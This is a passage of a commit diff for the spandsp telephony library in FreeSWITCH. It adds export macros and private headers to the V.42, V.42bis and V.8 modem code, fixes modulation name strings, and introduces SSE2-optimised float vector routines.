  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: v42.c,v 1.43 2008/09/07 12:45:17 steveu Exp $
+ * $Id: v42.c,v 1.50 2009/02/10 13:06:47 steveu Exp $
  */
 
 /* THIS IS A WORK IN PROGRESS. IT IS NOT FINISHED. */
@@ -30,7 +30,7 @@
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <stdio.h>
@@ -47,6 +47,11 @@
 #include "spandsp/queue.h"
 #include "spandsp/v42.h"
 
+#include "spandsp/private/logging.h"
+#include "spandsp/private/schedule.h"
+#include "spandsp/private/hdlc.h"
+#include "spandsp/private/v42.h"
+
 #if !defined(FALSE)
 #define FALSE   0
 #endif
@@ -84,8 +89,8 @@
 static void t401_expired(span_sched_state_t *s, void *user_data);
 static void t403_expired(span_sched_state_t *s, void *user_data);
 
-void lapm_reset(lapm_state_t *s);
-void lapm_restart(lapm_state_t *s);
+SPAN_DECLARE(void) lapm_reset(lapm_state_t *s);
+SPAN_DECLARE(void) lapm_restart(lapm_state_t *s);
 
 static void lapm_link_down(lapm_state_t *s);
 
@@ -351,7 +356,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-const char *lapm_status_to_str(int status)
+SPAN_DECLARE(const char *) lapm_status_to_str(int status)
 {
     switch (status)
     {
@@ -377,34 +382,34 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int lapm_tx(lapm_state_t *s, const void *buf, int len)
+SPAN_DECLARE(int) lapm_tx(lapm_state_t *s, const void *buf, int len)
 {
     return queue_write(s->tx_queue, buf, len);
 }
 /*- End of function --------------------------------------------------------*/
 
-int lapm_release(lapm_state_t *s)
+SPAN_DECLARE(int) lapm_release(lapm_state_t *s)
 {
     s->state = LAPM_RELEASE;
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
-int lapm_loopback(lapm_state_t *s, int enable)
+SPAN_DECLARE(int) lapm_loopback(lapm_state_t *s, int enable)
 {
     s->state = LAPM_TEST;
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
-int lapm_break(lapm_state_t *s, int enable)
+SPAN_DECLARE(int) lapm_break(lapm_state_t *s, int enable)
 {
     s->state = LAPM_SIGNAL;
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
-int lapm_tx_iframe(lapm_state_t *s, const void *buf, int len, int cr)
+SPAN_DECLARE(int) lapm_tx_iframe(lapm_state_t *s, const void *buf, int len, int cr)
 {
     lapm_frame_queue_t *f;
 
@@ -475,7 +480,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void lapm_dump(lapm_state_t *s, const uint8_t *frame, int len, int showraw, int txrx)
+SPAN_DECLARE(void) lapm_dump(lapm_state_t *s, const uint8_t *frame, int len, int showraw, int txrx)
 {
     const char *type;
     char direction_tag[2];
@@ -662,7 +667,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void lapm_reset(lapm_state_t *s)
+SPAN_DECLARE(void) lapm_reset(lapm_state_t *s)
 {
     lapm_frame_queue_t *f;
     lapm_frame_queue_t *p;
@@ -704,7 +709,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void lapm_receive(void *user_data, const uint8_t *frame, int len, int ok)
+SPAN_DECLARE_NONSTD(void) lapm_receive(void *user_data, const uint8_t *frame, int len, int ok)
 {
     lapm_state_t *s;
     lapm_frame_queue_t *f;
@@ -1063,7 +1068,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void lapm_restart(lapm_state_t *s)
+SPAN_DECLARE(void) lapm_restart(lapm_state_t *s)
 {
 #if 0
     if (s->state != LAPM_RELEASE)
@@ -1311,7 +1316,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void v42_rx_bit(void *user_data, int bit)
+SPAN_DECLARE(void) v42_rx_bit(void *user_data, int bit)
 {
     v42_state_t *s;
 
@@ -1324,7 +1329,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int v42_tx_bit(void *user_data)
+SPAN_DECLARE(int) v42_tx_bit(void *user_data)
 {
     v42_state_t *s;
     int bit;
@@ -1339,14 +1344,14 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void v42_set_status_callback(v42_state_t *s, v42_status_func_t callback, void *user_data)
+SPAN_DECLARE(void) v42_set_status_callback(v42_state_t *s, v42_status_func_t callback, void *user_data)
 {
     s->lapm.status_callback = callback;
     s->lapm.status_callback_user_data = user_data;
 }
 /*- End of function --------------------------------------------------------*/
 
-void v42_restart(v42_state_t *s)
+SPAN_DECLARE(void) v42_restart(v42_state_t *s)
 {
     span_schedule_init(&s->lapm.sched);
 
@@ -1374,7 +1379,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-v42_state_t *v42_init(v42_state_t *s, int caller, int detect, v42_frame_handler_t frame_handler, void *user_data)
+SPAN_DECLARE(v42_state_t *) v42_init(v42_state_t *s, int caller, int detect, v42_frame_handler_t frame_handler, void *user_data)
 {
     int alloced;
     
@@ -1412,8 +1417,14 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int v42_release(v42_state_t *s)
+SPAN_DECLARE(int) v42_release(v42_state_t *s)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) v42_free(v42_state_t *s)
+{
     free(s);
     return 0;
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/v42bis.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/v42bis.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/v42bis.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: v42bis.c,v 1.32 2008/05/13 13:17:25 steveu Exp $
+ * $Id: v42bis.c,v 1.37 2009/02/10 13:06:47 steveu Exp $
  */
 
 /* THIS IS A WORK IN PROGRESS. IT IS NOT FINISHED. 
@@ -32,7 +32,7 @@
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <stdio.h>
@@ -49,6 +49,9 @@
 #include "spandsp/bit_operations.h"
 #include "spandsp/v42bis.h"
 
+#include "spandsp/private/logging.h"
+#include "spandsp/private/v42bis.h"
+
 /* Fixed parameters from the spec. */
 #define V42BIS_N3               8   /* Character size (bits) */
 #define V42BIS_N4               256 /* Number of characters in the alphabet */
@@ -108,7 +111,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int v42bis_compress(v42bis_state_t *s, const uint8_t *buf, int len)
+SPAN_DECLARE(int) v42bis_compress(v42bis_state_t *s, const uint8_t *buf, int len)
 {
     int ptr;
     int i;
@@ -320,7 +323,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int v42bis_compress_flush(v42bis_state_t *s)
+SPAN_DECLARE(int) v42bis_compress_flush(v42bis_state_t *s)
 {
     v42bis_compress_state_t *ss;
 
@@ -350,7 +353,7 @@
 /*- End of function --------------------------------------------------------*/
 
 #if 0
-int v42bis_compress_dump(v42bis_state_t *s)
+SPAN_DECLARE(int) v42bis_compress_dump(v42bis_state_t *s)
 {
     int i;
     
@@ -366,7 +369,7 @@
 /*- End of function --------------------------------------------------------*/
 #endif
 
-int v42bis_decompress(v42bis_state_t *s, const uint8_t *buf, int len)
+SPAN_DECLARE(int) v42bis_decompress(v42bis_state_t *s, const uint8_t *buf, int len)
 {
     int ptr;
     int i;
@@ -564,7 +567,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int v42bis_decompress_flush(v42bis_state_t *s)
+SPAN_DECLARE(int) v42bis_decompress_flush(v42bis_state_t *s)
 {
     v42bis_decompress_state_t *ss;
 
@@ -580,7 +583,7 @@
 /*- End of function --------------------------------------------------------*/
 
 #if 0
-int v42bis_decompress_dump(v42bis_state_t *s)
+SPAN_DECLARE(int) v42bis_decompress_dump(v42bis_state_t *s)
 {
     int i;
     
@@ -596,7 +599,7 @@
 /*- End of function --------------------------------------------------------*/
 #endif
 
-void v42bis_compression_control(v42bis_state_t *s, int mode)
+SPAN_DECLARE(void) v42bis_compression_control(v42bis_state_t *s, int mode)
 {
     s->compress.compression_mode = mode;
     switch (mode)
@@ -611,16 +614,16 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-v42bis_state_t *v42bis_init(v42bis_state_t *s,
-                            int negotiated_p0,
-                            int negotiated_p1,
-                            int negotiated_p2,
-                            v42bis_frame_handler_t frame_handler,
-                            void *frame_user_data,
-                            int max_frame_len,
-                            v42bis_data_handler_t data_handler,
-                            void *data_user_data,
-                            int max_data_len)
+SPAN_DECLARE(v42bis_state_t *) v42bis_init(v42bis_state_t *s,
+                                           int negotiated_p0,
+                                           int negotiated_p1,
+                                           int negotiated_p2,
+                                           v42bis_frame_handler_t frame_handler,
+                                           void *frame_user_data,
+                                           int max_frame_len,
+                                           v42bis_data_handler_t data_handler,
+                                           void *data_user_data,
+                                           int max_data_len)
 {
     int i;
 
@@ -684,8 +687,14 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int v42bis_release(v42bis_state_t *s)
+SPAN_DECLARE(int) v42bis_release(v42bis_state_t *s)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) v42bis_free(v42bis_state_t *s)
+{
     free(s);
     return 0;
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/v8.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/v8.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/v8.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,26 +22,26 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: v8.c,v 1.31 2008/09/07 12:45:17 steveu Exp $
+ * $Id: v8.c,v 1.39 2009/06/24 00:34:38 steveu Exp $
  */
  
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <inttypes.h>
 #include <stdlib.h>
 #include <stdio.h>
 #include <memory.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 
 #include "spandsp/telephony.h"
 #include "spandsp/logging.h"
@@ -57,6 +57,11 @@
 #include "spandsp/modem_connect_tones.h"
 #include "spandsp/v8.h"
 
+#include "spandsp/private/logging.h"
+#include "spandsp/private/fsk.h"
+#include "spandsp/private/modem_connect_tones.h"
+#include "spandsp/private/v8.h"
+
 #define ms_to_samples(t)    (((t)*SAMPLE_RATE)/1000)
 
 enum
@@ -86,7 +91,7 @@
     V8_SYNC_V92
 } v8_sync_types_e;
 
-const char *v8_call_function_to_str(int call_function)
+SPAN_DECLARE(const char *) v8_call_function_to_str(int call_function)
 {
     switch (call_function)
     {
@@ -111,7 +116,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-const char *v8_modulation_to_str(int modulation_scheme)
+SPAN_DECLARE(const char *) v8_modulation_to_str(int modulation_scheme)
 {
     switch (modulation_scheme)
     {
@@ -120,21 +125,21 @@
     case V8_MOD_V21:
         return "V.21 duplex";
     case V8_MOD_V22:
-        return "V.22/V22.bis duplex";
+        return "V.22/V.22bis duplex";
     case V8_MOD_V23HALF:
         return "V.23 half-duplex";
     case V8_MOD_V23:
         return "V.23 duplex";
     case V8_MOD_V26BIS:
-        return "V.23 duplex";
+        return "V.26bis duplex";
     case V8_MOD_V26TER:
-        return "V.23 duplex";
+        return "V.26ter duplex";
     case V8_MOD_V27TER:
-        return "V.23 duplex";
+        return "V.27ter duplex";
     case V8_MOD_V29:
         return "V.29 half-duplex";
     case V8_MOD_V32:
-        return "V.32/V32.bis duplex";
+        return "V.32/V.32bis duplex";
     case V8_MOD_V34HALF:
         return "V.34 half-duplex";
     case V8_MOD_V34:
@@ -150,7 +155,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-const char *v8_protocol_to_str(int protocol)
+SPAN_DECLARE(const char *) v8_protocol_to_str(int protocol)
 {
     switch (protocol)
     {
@@ -165,19 +170,19 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-const char *v8_pstn_access_to_str(int pstn_access)
+SPAN_DECLARE(const char *) v8_pstn_access_to_str(int pstn_access)
 {
     return "???";
 }
 /*- End of function --------------------------------------------------------*/
 
-const char *v8_pcm_modem_availability_to_str(int pcm_modem_availability)
+SPAN_DECLARE(const char *) v8_pcm_modem_availability_to_str(int pcm_modem_availability)
 {
     return "???";
 }
 /*- End of function --------------------------------------------------------*/
 
-void v8_log_supported_modulations(v8_state_t *s, int modulation_schemes)
+SPAN_DECLARE(void) v8_log_supported_modulations(v8_state_t *s, int modulation_schemes)
 {
     const char *comma;
     int i;
@@ -604,7 +609,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int v8_tx(v8_state_t *s, int16_t *amp, int max_len)
+SPAN_DECLARE_NONSTD(int) v8_tx(v8_state_t *s, int16_t *amp, int max_len)
 {
     int len;
 
@@ -627,7 +632,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int v8_rx(v8_state_t *s, const int16_t *amp, int len)
+SPAN_DECLARE_NONSTD(int) v8_rx(v8_state_t *s, const int16_t *amp, int len)
 {
     int i;
     int residual_samples;
@@ -845,12 +850,18 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-v8_state_t *v8_init(v8_state_t *s,
-                    int caller,
-                    int available_modulations,
-                    v8_result_handler_t *result_handler,
-                    void *user_data)
+SPAN_DECLARE(logging_state_t *) v8_get_logging_state(v8_state_t *s)
 {
+    return &s->logging;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(v8_state_t *) v8_init(v8_state_t *s,
+                                   int caller,
+                                   int available_modulations,
+                                   v8_result_handler_t *result_handler,
+                                   void *user_data)
+{
     if (s == NULL)
     {
         if ((s = (v8_state_t *) malloc(sizeof(*s))) == NULL)
@@ -879,9 +890,19 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int v8_release(v8_state_t *s)
+SPAN_DECLARE(int) v8_release(v8_state_t *s)
 {
     return queue_free(s->tx_queue);
 }
 /*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) v8_free(v8_state_t *s)
+{
+    int ret;
+    
+    ret = queue_free(s->tx_queue);
+    free(s);
+    return ret;
+}
+/*- End of function --------------------------------------------------------*/
 /*- End of file ------------------------------------------------------------*/

Modified: freeswitch/branches/seven/libs/spandsp/src/vector_float.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/vector_float.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/vector_float.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,20 +22,19 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: vector_float.c,v 1.14 2008/09/18 13:54:32 steveu Exp $
+ * $Id: vector_float.c,v 1.22 2009/07/12 09:23:09 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <inttypes.h>
 #include <stdlib.h>
 #include <stdio.h>
 #include <string.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
@@ -44,45 +43,49 @@
 #endif
 #include <assert.h>
 
-#if defined(SPANDSP_USE_MMX)
-#include <mmintrin.h>
-#endif
-#if defined(SPANDSP_USE_SSE)
-#include <xmmintrin.h>
-#endif
-#if defined(SPANDSP_USE_SSE2)
-#include <emmintrin.h>
-#endif
-#if defined(SPANDSP_USE_SSE3)
-#include <pmmintrin.h>
-#include <tmmintrin.h>
-#endif
-#if defined(SPANDSP_USE_SSE4_1)
-#include <smmintrin.h>
-#endif
-#if defined(SPANDSP_USE_SSE4_2)
-#include <nmmintrin.h>
-#endif
-#if defined(SPANDSP_USE_SSE4A)
-#include <ammintrin.h>
-#endif
-#if defined(SPANDSP_USE_SSE5)
-#include <bmmintrin.h>
-#endif
+#include "floating_fudge.h"
+#include "mmx_sse_decs.h"
 
 #include "spandsp/telephony.h"
 #include "spandsp/vector_float.h"
 
-void vec_copyf(float z[], const float x[], int n)
+#if defined(__GNUC__)  &&  defined(SPANDSP_USE_SSE2)
+SPAN_DECLARE(void) vec_copyf(float z[], const float x[], int n)
 {
     int i;
+    __m128 n1;
+ 
+    if ((i = n & ~3))
+    {
+        for (i -= 4;  i >= 0;  i -= 4)
+        {
+            n1 = _mm_loadu_ps(x + i);
+            _mm_storeu_ps(z + i, n1);
+        }
+    }
+    /* Now deal with the last 1 to 3 elements, which don't fill an SSE2 register */
+    switch (n & 3)
+    {
+    case 3:
+        z[n - 3] = x[n - 3];
+    case 2:
+        z[n - 2] = x[n - 2];
+    case 1:
+        z[n - 1] = x[n - 1];
+    }
+}
+#else
+SPAN_DECLARE(void) vec_copyf(float z[], const float x[], int n)
+{
+    int i;
     
     for (i = 0;  i < n;  i++)
         z[i] = x[i];
 }
+#endif
 /*- End of function --------------------------------------------------------*/
 
-void vec_copy(double z[], const double x[], int n)
+SPAN_DECLARE(void) vec_copy(double z[], const double x[], int n)
 {
     int i;
     
@@ -92,7 +95,7 @@
 /*- End of function --------------------------------------------------------*/
 
 #if defined(HAVE_LONG_DOUBLE)
-void vec_copyl(long double z[], const long double x[], int n)
+SPAN_DECLARE(void) vec_copyl(long double z[], const long double x[], int n)
 {
     int i;
     
@@ -102,16 +105,102 @@
 /*- End of function --------------------------------------------------------*/
 #endif
 
-void vec_zerof(float z[], int n)
+#if defined(__GNUC__)  &&  defined(SPANDSP_USE_SSE2)
+SPAN_DECLARE(void) vec_negatef(float z[], const float x[], int n)
 {
     int i;
+	static const uint32_t mask = 0x80000000;
+	static const float *fmask = (float *) &mask;
+    __m128 n1;
+    __m128 n2;
+ 
+    if ((i = n & ~3))
+    {
+        n2 = _mm_set1_ps(*fmask);
+        for (i -= 4;  i >= 0;  i -= 4)
+        {
+            n1 = _mm_loadu_ps(x + i);
+		    n1 = _mm_xor_ps(n1, n2);
+            _mm_storeu_ps(z + i, n1);
+        }
+    }
+    /* Now deal with the last 1 to 3 elements, which don't fill an SSE2 register */
+    switch (n & 3)
+    {
+    case 3:
+        z[n - 3] = -x[n - 3];
+    case 2:
+        z[n - 2] = -x[n - 2];
+    case 1:
+        z[n - 1] = -x[n - 1];
+    }
+}
+#else
+SPAN_DECLARE(void) vec_negatef(float z[], const float x[], int n)
+{
+    int i;
     
     for (i = 0;  i < n;  i++)
+        z[i] = -x[i];
+}
+#endif
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(void) vec_negate(double z[], const double x[], int n)
+{
+    int i;
+    
+    for (i = 0;  i < n;  i++)
+        z[i] = -x[i];
+}
+/*- End of function --------------------------------------------------------*/
+
+#if defined(HAVE_LONG_DOUBLE)
+SPAN_DECLARE(void) vec_negatel(long double z[], const long double x[], int n)
+{
+    int i;
+    
+    for (i = 0;  i < n;  i++)
+        z[i] = -x[i];
+}
+/*- End of function --------------------------------------------------------*/
+#endif
+
+#if defined(__GNUC__)  &&  defined(SPANDSP_USE_SSE2)
+SPAN_DECLARE(void) vec_zerof(float z[], int n)
+{
+    int i;
+    __m128 n1;
+ 
+    if ((i = n & ~3))
+    {
+        n1 = _mm_setzero_ps();
+        for (i -= 4;  i >= 0;  i -= 4)
+            _mm_storeu_ps(z + i, n1);
+    }
+    /* Now deal with the last 1 to 3 elements, which don't fill an SSE2 register */
+    switch (n & 3)
+    {
+    case 3:
+        z[n - 3] = 0;
+    case 2:
+        z[n - 2] = 0;
+    case 1:
+        z[n - 1] = 0;
+    }
+}
+#else
+SPAN_DECLARE(void) vec_zerof(float z[], int n)
+{
+    int i;
+    
+    for (i = 0;  i < n;  i++)
         z[i] = 0.0f;
 }
+#endif
 /*- End of function --------------------------------------------------------*/
 
-void vec_zero(double z[], int n)
+SPAN_DECLARE(void) vec_zero(double z[], int n)
 {
     int i;
     
@@ -121,7 +210,7 @@
 /*- End of function --------------------------------------------------------*/
 
 #if defined(HAVE_LONG_DOUBLE)
-void vec_zerol(long double z[], int n)
+SPAN_DECLARE(void) vec_zerol(long double z[], int n)
 {
     int i;
     
@@ -131,16 +220,41 @@
 /*- End of function --------------------------------------------------------*/
 #endif
 
-void vec_setf(float z[], float x, int n)
+#if defined(__GNUC__)  &&  defined(SPANDSP_USE_SSE2)
+SPAN_DECLARE(void) vec_setf(float z[], float x, int n)
 {
     int i;
+    __m128 n1;
+ 
+    if ((i = n & ~3))
+    {
+        n1 = _mm_set1_ps(x);
+        for (i -= 4;  i >= 0;  i -= 4)
+            _mm_storeu_ps(z + i, n1);
+    }
+    /* Now deal with the last 1 to 3 elements, which don't fill an SSE2 register */
+    switch (n & 3)
+    {
+    case 3:
+        z[n - 3] = x;
+    case 2:
+        z[n - 2] = x;
+    case 1:
+        z[n - 1] = x;
+    }
+}
+#else
+SPAN_DECLARE(void) vec_setf(float z[], float x, int n)
+{
+    int i;
     
     for (i = 0;  i < n;  i++)
         z[i] = x;
 }
+#endif
 /*- End of function --------------------------------------------------------*/
 
-void vec_set(double z[], double x, int n)
+SPAN_DECLARE(void) vec_set(double z[], double x, int n)
 {
     int i;
     
@@ -150,7 +264,7 @@
 /*- End of function --------------------------------------------------------*/
 
 #if defined(HAVE_LONG_DOUBLE)
-void vec_setl(long double z[], long double x, int n)
+SPAN_DECLARE(void) vec_setl(long double z[], long double x, int n)
 {
     int i;
     
@@ -160,16 +274,46 @@
 /*- End of function --------------------------------------------------------*/
 #endif
 
-void vec_addf(float z[], const float x[], const float y[], int n)
+#if defined(__GNUC__)  &&  defined(SPANDSP_USE_SSE2)
+SPAN_DECLARE(void) vec_addf(float z[], const float x[], const float y[], int n)
 {
     int i;
+    __m128 n1;
+    __m128 n2;
+ 
+    if ((i = n & ~3))
+    {
+        for (i -= 4;  i >= 0;  i -= 4)
+        {
+            n1 = _mm_loadu_ps(x + i);
+            n2 = _mm_loadu_ps(y + i);
+            n2 = _mm_add_ps(n1, n2);
+            _mm_storeu_ps(z + i, n2);
+        }
+    }
+    /* Now deal with the last 1 to 3 elements, which don't fill an SSE2 register */
+    switch (n & 3)
+    {
+    case 3:
+        z[n - 3] = x[n - 3] + y[n - 3];
+    case 2:
+        z[n - 2] = x[n - 2] + y[n - 2];
+    case 1:
+        z[n - 1] = x[n - 1] + y[n - 1];
+    }
+}
+#else
+SPAN_DECLARE(void) vec_addf(float z[], const float x[], const float y[], int n)
+{
+    int i;
 
     for (i = 0;  i < n;  i++)
         z[i] = x[i] + y[i];
 }
+#endif
 /*- End of function --------------------------------------------------------*/
 
-void vec_add(double z[], const double x[], const double y[], int n)
+SPAN_DECLARE(void) vec_add(double z[], const double x[], const double y[], int n)
 {
     int i;
 
@@ -178,7 +322,8 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void vec_addl(long double z[], const long double x[], const long double y[], int n)
+#if defined(HAVE_LONG_DOUBLE)
+SPAN_DECLARE(void) vec_addl(long double z[], const long double x[], const long double y[], int n)
 {
     int i;
 
@@ -186,17 +331,54 @@
         z[i] = x[i] + y[i];
 }
 /*- End of function --------------------------------------------------------*/
+#endif
 
-void vec_scaled_addf(float z[], const float x[], float x_scale, const float y[], float y_scale, int n)
+#if defined(__GNUC__)  &&  defined(SPANDSP_USE_SSE2)
+SPAN_DECLARE(void) vec_scaledxy_addf(float z[], const float x[], float x_scale, const float y[], float y_scale, int n)
 {
     int i;
+    __m128 n1;
+    __m128 n2;
+    __m128 n3;
+    __m128 n4;
+ 
+    if ((i = n & ~3))
+    {
+        n3 = _mm_set1_ps(x_scale);
+        n4 = _mm_set1_ps(y_scale);
+        for (i -= 4;  i >= 0;  i -= 4)
+        {
+            n1 = _mm_loadu_ps(x + i);
+            n2 = _mm_loadu_ps(y + i);
+            n1 = _mm_mul_ps(n1, n3);
+            n2 = _mm_mul_ps(n2, n4);
+            n2 = _mm_add_ps(n1, n2);
+            _mm_storeu_ps(z + i, n2);
+        }
+    }
+    /* Now deal with the last 1 to 3 elements, which don't fill an SSE2 register */
+    switch (n & 3)
+    {
+    case 3:
+        z[n - 3] = x[n - 3]*x_scale + y[n - 3]*y_scale;
+    case 2:
+        z[n - 2] = x[n - 2]*x_scale + y[n - 2]*y_scale;
+    case 1:
+        z[n - 1] = x[n - 1]*x_scale + y[n - 1]*y_scale;
+    }
+}
+#else
+SPAN_DECLARE(void) vec_scaledxy_addf(float z[], const float x[], float x_scale, const float y[], float y_scale, int n)
+{
+    int i;
 
     for (i = 0;  i < n;  i++)
         z[i] = x[i]*x_scale + y[i]*y_scale;
 }
+#endif
 /*- End of function --------------------------------------------------------*/
 
-void vec_scaled_add(double z[], const double x[], double x_scale, const double y[], double y_scale, int n)
+SPAN_DECLARE(void) vec_scaledxy_add(double z[], const double x[], double x_scale, const double y[], double y_scale, int n)
 {
     int i;
 
@@ -206,7 +388,7 @@
 /*- End of function --------------------------------------------------------*/
 
 #if defined(HAVE_LONG_DOUBLE)
-void vec_scaled_addl(long double z[], const long double x[], long double x_scale, const long double y[], long double y_scale, int n)
+SPAN_DECLARE(void) vec_scaledxy_addl(long double z[], const long double x[], long double x_scale, const long double y[], long double y_scale, int n)
 {
     int i;
 
@@ -216,16 +398,108 @@
 /*- End of function --------------------------------------------------------*/
 #endif
 
-void vec_subf(float z[], const float x[], const float y[], int n)
+#if defined(__GNUC__)  &&  defined(SPANDSP_USE_SSE2)
+SPAN_DECLARE(void) vec_scaledy_addf(float z[], const float x[], const float y[], float y_scale, int n)
 {
     int i;
+    __m128 n1;
+    __m128 n2;
+    __m128 n3;
+ 
+    if ((i = n & ~3))
+    {
+        n3 = _mm_set1_ps(y_scale);
+        for (i -= 4;  i >= 0;  i -= 4)
+        {
+            n1 = _mm_loadu_ps(x + i);
+            n2 = _mm_loadu_ps(y + i);
+            n2 = _mm_mul_ps(n2, n3);
+            n2 = _mm_add_ps(n1, n2);
+            _mm_storeu_ps(z + i, n2);
+        }
+    }
+    /* Now deal with the last 1 to 3 elements, which don't fill an SSE2 register */
+    switch (n & 3)
+    {
+    case 3:
+        z[n - 3] = x[n - 3] + y[n - 3]*y_scale;
+    case 2:
+        z[n - 2] = x[n - 2] + y[n - 2]*y_scale;
+    case 1:
+        z[n - 1] = x[n - 1] + y[n - 1]*y_scale;
+    }
+}
+#else
+SPAN_DECLARE(void) vec_scaledy_addf(float z[], const float x[], const float y[], float y_scale, int n)
+{
+    int i;
 
     for (i = 0;  i < n;  i++)
+        z[i] = x[i] + y[i]*y_scale;
+}
+#endif
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(void) vec_scaledy_add(double z[], const double x[], const double y[], double y_scale, int n)
+{
+    int i;
+
+    for (i = 0;  i < n;  i++)
+        z[i] = x[i] + y[i]*y_scale;
+}
+/*- End of function --------------------------------------------------------*/
+
+#if defined(HAVE_LONG_DOUBLE)
+SPAN_DECLARE(void) vec_scaledy_addl(long double z[], const long double x[], const long double y[], long double y_scale, int n)
+{
+    int i;
+
+    for (i = 0;  i < n;  i++)
+        z[i] = x[i] + y[i]*y_scale;
+}
+/*- End of function --------------------------------------------------------*/
+#endif
+
+#if defined(__GNUC__)  &&  defined(SPANDSP_USE_SSE2)
+SPAN_DECLARE(void) vec_subf(float z[], const float x[], const float y[], int n)
+{
+    int i;
+    __m128 n1;
+    __m128 n2;
+ 
+    if ((i = n & ~3))
+    {
+        for (i -= 4;  i >= 0;  i -= 4)
+        {
+            n1 = _mm_loadu_ps(x + i);
+            n2 = _mm_loadu_ps(y + i);
+            n2 = _mm_sub_ps(n1, n2);
+            _mm_storeu_ps(z + i, n2);
+        }
+    }
+    /* Now deal with the last 1 to 3 elements, which don't fill an SSE2 register */
+    switch (n & 3)
+    {
+    case 3:
+        z[n - 3] = x[n - 3] - y[n - 3];
+    case 2:
+        z[n - 2] = x[n - 2] - y[n - 2];
+    case 1:
+        z[n - 1] = x[n - 1] - y[n - 1];
+    }
+}
+#else
+SPAN_DECLARE(void) vec_subf(float z[], const float x[], const float y[], int n)
+{
+    int i;
+
+    for (i = 0;  i < n;  i++)
         z[i] = x[i] - y[i];
 }
+#endif
 /*- End of function --------------------------------------------------------*/
 
-void vec_sub(double z[], const double x[], const double y[], int n)
+SPAN_DECLARE(void) vec_sub(double z[], const double x[], const double y[], int n)
 {
     int i;
 
@@ -235,7 +509,7 @@
 /*- End of function --------------------------------------------------------*/
 
 #if defined(HAVE_LONG_DOUBLE)
-void vec_subl(long double z[], const long double x[], const long double y[], int n)
+SPAN_DECLARE(void) vec_subl(long double z[], const long double x[], const long double y[], int n)
 {
     int i;
 
@@ -245,7 +519,7 @@
 /*- End of function --------------------------------------------------------*/
 #endif
 
-void vec_scaled_subf(float z[], const float x[], float x_scale, const float y[], float y_scale, int n)
+SPAN_DECLARE(void) vec_scaledxy_subf(float z[], const float x[], float x_scale, const float y[], float y_scale, int n)
 {
     int i;
 
@@ -254,7 +528,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void vec_scaled_sub(double z[], const double x[], double x_scale, const double y[], double y_scale, int n)
+SPAN_DECLARE(void) vec_scaledxy_sub(double z[], const double x[], double x_scale, const double y[], double y_scale, int n)
 {
     int i;
 
@@ -264,7 +538,7 @@
 /*- End of function --------------------------------------------------------*/
 
 #if defined(HAVE_LONG_DOUBLE)
